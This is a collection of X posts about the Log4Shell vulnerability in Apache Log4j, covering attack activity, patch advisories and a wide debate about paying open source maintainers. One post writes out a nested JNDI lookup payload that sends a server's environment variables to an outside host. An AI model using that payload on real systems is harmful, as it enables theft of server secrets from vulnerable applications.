Discussion

• @campuscodi Catalin Cimpanu on x

  Log4Shell attacks began two weeks ago, Cisco and Cloudflare say -4 major botnets spotted abusing Log4Shell right now (per Netlab) -more than 10k hosts scanning for it (per Kryptos Logic) -DDoS, crypto-miners, and CS beacons as payloads for now https://therecord.media/... https://…

• @girlgerms @girlgerms on x

  Some great information and guidance from Microsoft around Log4j: https://msrc-blog.microsoft.com/ ... https://www.microsoft.com/...

• @p_malynin Pavlo Malynin on x

  The #log4j exploit is so awesome I had to log onto my twitter for the first time in years. I have found the perfect weapon to fight iMessage and SMS scammers #Log4Shell https://twitter.com/...

• @brunoborges Bruno Borges on x

  So many great people worked tirelessly to get this out. Several hours, late meetings, calls, emails, chats and so on. Proud of everyone! #OneMicrosoft https://twitter.com/...

• @yazicivo @yazicivo on x

  Log4j maintainers have been working sleeplessly on mitigation measures; fixes, docs, CVE, replies to inquiries, etc. Yet nothing is stopping people to bash us, for work we aren't paid for, for a feature we all dislike yet needed to keep due to backward compatibility concerns. htt…

• @filosottile @filosottile on x

  This is the maintainer who fixed the vulnerability that's causing millions(++?) of dollars of damage. “I work on Log4j in my spare time” “always dreamed of working on open source full time” “3 sponsors are funding @rgoers's work: Michael, Glenn, Matt” People, what are we doing. h…

• @steveruizok Steve Ruiz on x

  I get about $2,000 a month from GitHub sponsors. Let's talk about funding for open source projects, specifically my thoughts for @tldraw. https://twitter.com/...

• @lorenc_dan Dan Lorenc on x

  This is going to sound blunt, but it's a distribution problem not a funding problem. $ is easy. Corporations have budget and are willing to spend, but it takes too much time. Finding projects that need help and maintainers willing to help in exchange for money is hard. https://tw…

• @matthew_d_green Matthew Green on x

  Watching this log4j bug metastasize, I'm seeing people ask why industry doesn't fund open source. I don't have a great answer, but I have some thoughts following the experience with Heartbleed in '14. 1/

• @malwaretechblog Marcus Hutchins on x

  This log4j (CVE-2021-44228) vulnerability is extremely bad. Millions of applications use Log4j for logging, and all the attacker needs to do is get the app to log a special string. So far iCloud, Steam, and Minecraft have all been confirmed vulnerable.

• @filosottile @filosottile on x

  No one is paying the log4j2 maintainers!? There is a whole page on the responsibilities of a @TheASF “Project Management Committee”... AND NO ONE IS PAYING THEM? https://www.apache.org/... Open Source needs to grow the hell up. Yesterday. https://twitter.com/...

• @campuscodi Catalin Cimpanu on x

  The Apache Log4j project is maintained by three people who are volunteering their spare time. Please don't be a jerk to them because multi-billion dollar companies are using their tool without even bothering to throw $1,000 their way. https://twitter.com/...

• @minecraft @minecraft on x

  Player safety is the top priority for us. Unfortunately, earlier today we identified a security vulnerability in Minecraft: Java Edition. The issue is patched, but please follow these steps to secure your game client and/or servers. Please RT to amplify. https://www.minecraft.net…

• @tha_rami Rami Ismail on x

  Oh gosh, just reading up on this exploit and this is wild. An open source Java logging tool used in all sorts of stuff from Minecraft to government databases alike has an exploit that allows attackers to execute code or read server variables. https://twitter.com/...

• @jj_ranalli Jjacopo.Eth on x

  DAOs were literally born to solve this Thinking of building a tool for DAOs to fund open source projects on @github and handle treasury through @juiceboxETH Someone stop me (or join me) https://twitter.com/...

• @chr1sa Chris Anderson on x

  Interesting that “supply chain vulnerabilities” have become a crisis in both the physical world and the web (open source library dependencies) at the same time. The perpetual pendulum between distributed and centralized will now swing back to the latter https://www.wired.com/...

• @stevesi Steven Sinofsky on x

  Professional Maintainers: A Wake-Up Call https://blog.filippo.io/... // This was bound to get written, but some are probably surprised it took two decades as they were saying it way back then.

• @lzsthw Zed A. Shaw on x

  PSA Time Folks: https://www.minecraft.net/... If you run a Minecraft server or the client (Java edition) then you need to read this and do some work. The recent log4j vulnerability is exploitable and will cause you pain. https://cve.mitre.org/...

• @lessin Sam Lessin on x

  but the real answer is crypto... totally right problem to identify but invoicing companies for maintaining open source software is lol. https://twitter.com/...

• @matthew_d_green Matthew Green on x

  @mistersql @JRossNicoll It takes lack of attention. In Heartbleed, someone merged a dumb feature quickly without doing careful code review. In log4j someone merged a dumb feature that any security expert would have recoiled at.

• @seldo Laurie Voss on x

  Open source spent the 1990s trying to convince corporations they could trust it, the 2000s delighted at its success in corporations, the 2010s begging corporations to help pay for the enormous maintenance costs being shouldered by random individuals. https://twitter.com/...

• @bmgnrs Andreas Baumgartner on x

  „This person's spare time passion project is responsible for half of the internet working the way it should. Vulnerable companies to this issue included Apple, Google, my cell phone carrier and everyone that uses JavaEE in its default configuration." https://christine.website/...

• @andreabarisani Andrea Barisani on x

  Millions of $$$ are floating around bug bounties which do very little in fixing the underlying core issues we face. Yet critical dependencies which are everywhere struggle in getting adequate backing, only hostility when they break. Pay maintainers, pay proper security audits. ht…

• @lets4r Romain Rastel on x

  Once again, an Open Source Software maintained by a few people on their spare time, used by a lot of companies on their projects, has a big vulnerability. When companies will understand that it's on their interest to support financially OSS? https://twitter.com/...

• @cisagov @cisagov on x

  We urge all organizations to review the latest current activity alert and upgrade to Log4j version 2.15.0, or apply the appropriate vendor recommended mitigations immediately: https://www.cisa.gov/...

• @matthew_d_green Matthew Green on x

  When Heartbleed dropped, it was very similar to log4j: an underfunded OSS project (OpenSSL) that nobody thought about, but was *everywhere*. It took everyone by surprise, and even woke industry up. The result was a surge of funding. 2/

• @gossithedog Kevin Beaumont on x

  Okta RADIUS and MFA server are vulnerable and exploitable and need upgrading ASAP https://sec.okta.com/... https://twitter.com/...

• @zakjan @zakjan on x

  Open source maintainer as a career path. There are just a few companies who understand the benefits of funding open source development, and it's challenging to keep explaining that to others. Luckily I was able to find some already. Thanks for that! https://twitter.com/...

• @gossithedog Kevin Beaumont on x

  Log4j recap - two random unpaid folk maintain the code - a random requested the vuln/feature in 2013 - major IT and security vendors rely on that code - problem was publicised by teens in Minecraft video game - scope of problem still unclear days later https://twitter.com/...

• @filosottile @filosottile on x

  We all agree the status quo is unsustainable. Here are 1,000 words on how we could get the role of Open Source maintainer to graduate to a real, properly paid profession. The thing is, companies need it as much as maintainers do. https://blog.filippo.io/...

• @jimj_candid @jimj_candid on x

  When people say “you didn't build that” they're not just talking about how highways and public education contribute to corporate success. They're also talking about this. Open source is the vital foundation of nearly every corporate software asset. And it gets no respect. https:/…

• @cisajen Jen Easterly on x

  🚨All orgs should upgrade to log4j version 2.15.0 or apply appropriate vendor recommended mitigations ASAP! Read my full statement on this vulnerability: https://www.cisa.gov/... https://twitter.com/...

• @laughing_mantis Greg Linares on x

  PSA: attackers aren't just using #log4j attacks on internet facing devices. Groups I'm monitoring are going back to compromised networks and using it on subnets and on internal devices *very* successfully Insider threat is also an viable avenue of exploitation

• @eastdakota @eastdakota on x

  Seeing attackers exploit #Log4J to drop #Mirai. Bigger, badder botnets coming soon... 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖🤖🤖🤖 🤖

• @caseyjohnellis Cje on x

  hearing folks compare #log4shell is “as bad as heartbleed” - imo it's much, much worse. aside from having RCE as the impact, the number of interdependencies around log4j (and particularly the age of them) is orders of magnitude higher

• @felipecsl Lima.Eth on x

  “open source is broken” https://christine.website/... - couldn't agree more. That's one of the reasons why I've stopped doing it myself. Unfortunately that's what we need to do in order to raise awareness to the issue that people need to be compensated for their work.

• @runasand Runa Sandvik on x

  Reminder that a lot of the technology we use relies on free, open source code that no one's paid to maintain. https://twitter.com/...

• @chromatic_x @chromatic_x on x

  Controversial opinion: RedHat, AWS, GCP, GitHub, NPM, etc should pay F/OSS developers. https://blog.filippo.io/...

• @milesmccain R. Miles McCain on x

  The world would be so much better off if maintaining open source software were a viable profession. One day...? https://twitter.com/...

• @mattficke Matt Ficke on x

  Endorse all this. There are a ton of engineers, of all experience levels, who would jump at the chance to do this kind of work if they could make a stable career out of it. https://twitter.com/... https://twitter.com/...

• @joshuapowell_io Joshua Powell on x

  I love when people share ideas like this, especially when they're backed by current events #opensource https://blog.filippo.io/...

• @pixeltrix Andrew White on x

  This is well-intentioned but saying “companies are in the business of getting what they need—by paying invoices” show incredible naivety in how bad companies are at paying their invoices https://blog.filippo.io/...

• @oerdnj @oerdnj on x

  This! I am thankful to all GitHub Sponsors and Patreons, but without my day2day job @ISCdotORG (which is thankfully also working on Open Source), I would be able to sustain my family. https://twitter.com/...

• @adamwathan Adam Wathan on x

  Great post — charity-based open source is very naive and unrealistic, if only because its 100x more complicated for a business to pay someone for nothing than it is for something. https://blog.filippo.io/... https://twitter.com/...

• @_staticflow_ Tanner Barnes on x

  In case anyone hasn't discovered this. The Log4J formatting is nestable which means payloads like ${jndi:ldap://${env:user}.xyz.collab.co m/ a} Will leak server side env vars!

• @matthew_d_green Matthew Green on x

  As a follow-up: @FiloSottile has a nice post about professionalizing the role of OSS maintainer. This is great! But I would still argue that money is finite, and knowing which projects need help is a basic missing ingredient. https://blog.filippo.io/...

• @mcafee @mcafee on x

  Have you heard about the security risk that is affecting popular websites, services, apps, and even games? Twitter, iCloud, Steam, and Minecraft servers may be vulnerable, along with a growing number of others. Here's what's going on and how to stay safe: https://www.mcafee.com/.…

• @k8em0 @k8em0 on x

  Blessed be the open source maintainers, for they shall inherit...Internet pile-ons?!? Hey, go easy on these folks who hold up the world on their backs. They deserve our support & respect, all the more during a crisis. Let's not turn already thankless work into more punishment. ht…

• @eastdakota @eastdakota on x

  Earliest evidence we've found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don't see evidence of mass exploitation until after public disclosure.

• @bushidotoken @bushidotoken on x

  The #Kinsing and #Muhstik cryptomining botnets are some of the first to exploit any new RCE vulnerability: this time it's Log4j & Log4Shell. Those two names have cropped up for several major RCEs this year, they've actually become one way to tell how bad a new RCE is.